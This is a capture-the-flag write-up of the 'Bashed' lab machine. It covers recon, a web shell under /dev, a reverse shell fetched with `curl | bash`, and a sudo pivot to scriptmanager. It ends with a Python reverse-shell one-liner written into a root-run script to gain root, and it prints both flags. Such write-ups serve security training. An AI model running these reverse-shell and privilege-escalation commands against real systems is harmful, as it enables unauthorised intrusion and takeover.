> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/bashed.md).

# Bashed

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FDHB5N9VEtezgsTGE9zWV%2FBashed.png?alt=media&amp;token=1699afd3-876b-4749-b156-cac9bd777135" alt="" width="563"><figcaption></figcaption></figure>

## <mark style="color:blue;">Recon</mark>

```bash
ping -c 1 10.10.10.68
PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.
64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=60.7 ms

--- 10.10.10.68 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 60.656/60.656/60.656/0.000 ms
```

* Host is <mark style="background-color:red;">Linux.</mark>
* Host is <mark style="background-color:green;">alive.</mark>

Lets start nmap scan.

```bash
sudo nmap -p- -sC -sV 10.10.10.68 -T5 -oA bashed
```

```bash
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 510.04 seconds
```

There is only <mark style="color:green;">HTTP</mark> server, lets check it.

## <mark style="color:green;">HTTP</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FXOoUz55NXDqeTGKWUOAL%2FPasted%20image%2020240128150249.png?alt=media&amp;token=71cc1cfe-4176-4b04-adf3-9ea17a3ef960" alt=""><figcaption></figcaption></figure>

Web Page looks interesting. Lets fuzz it.

```bash
gobuster dir -u http://10.10.10.68/ -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt   
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
Progress: 1562 / 20117 (7.76%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 1580 / 20117 (7.85%)
===============================================================
Finished
===============================================================
```

In *<mark style="color:orange;">"/dev"</mark>* there always good things.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F73bNuM57KpqxnWyWfIZ7%2FPasted%20image%2020240128150328.png?alt=media&amp;token=ff7be72e-5d50-43c3-8fea-26f60b305deb" alt=""><figcaption></figcaption></figure>

> Creater of this box also creater of popular php web-shell, so he just put it here.

## <mark style="color:red;">www-data shell</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F5bfaxKVNN2OdYsp0hlfe%2FPasted%20image%2020240128165916.png?alt=media&amp;token=82f2f450-67ec-4a35-bcab-69c80dc096ec" alt=""><figcaption></figcaption></figure>

And yeah, this is shell.

It looks very pretty, like real terminal, but I prefer real reverse-shell, so lets get it.

I will host a reverse shell and pipe it to bash with curl

```bash
curl http://10.10.16.2/rev | bash
```

```bash
nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.68] 34898
sh: 0: can't access tty; job control turned off
$ ls
VMwareDnD
f
rev.sh
systemd-private-5df3c5dc60a744448cb41a1b7594442e-systemd-timesyncd.service-cbYqfY
vmware-root
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@bashed:/tmp$ ^Z
zsh: suspended  nc -lnvp 9001
                                                                                                                                                                                                                                              
musor@kali:~/wu/bashed$ stty raw -echo | fg                             
[1]  + continued  nc -lnvp 9001
l
l
l: command not found
www-data@bashed:/tmp$ export TERM=xterm
export TERM=xterm
```

And got a shell, also upgraded it.

## <mark style="color:red;">scriptmanager shell</mark>

```bash
sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
```

I can execute commands as scriptmanager without a password.

```bash
sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/home$ ls
ls
arrexel  scriptmanager
```

so now Im <mark style="color:red;">"scriptmanager"</mark>

```bash
wget http://10.10.16.6/linpeas.sh
--2024-01-28 06:03:02--  http://10.10.16.6/linpeas.sh
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 833.29K  61.5KB/s    in 11s     

2024-01-28 06:03:13 (78.5 KB/s) - 'linpeas.sh' saved [853290/853290]

```

## <mark style="color:red;">root shell</mark>

```bash
scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jan 28 06:04 test.txt
```

There is a <mark style="color:blue;">/scripts</mark> directory in root, and 2 files.

One file owned by <mark style="color:red;">root</mark>, another by <mark style="color:blue;">scriptmanager</mark>.

```bash
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
```

So this is Python script, very easy and simple.

But "test.txt" owned by root, so that means we can add our reverse shell and we will get a hit.

```bash
scriptmanager@bashed:/scripts$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.6",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' > test.py 
```

```bash
musor@kali:~/wu/bashed$ nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.68] 33702
i
uid=0(root) gid=0(root) groups=0(root)
cd /home
ls
arrexel scriptmanager
cd arrexel
ls
user.txt
cat user.txt
1eb745dcdd29448c0b7504b41cafa6a8
cd /root
cat root.txt
f614b4a117bb23ecae97019d741ab6c5
```

And we got both flags :)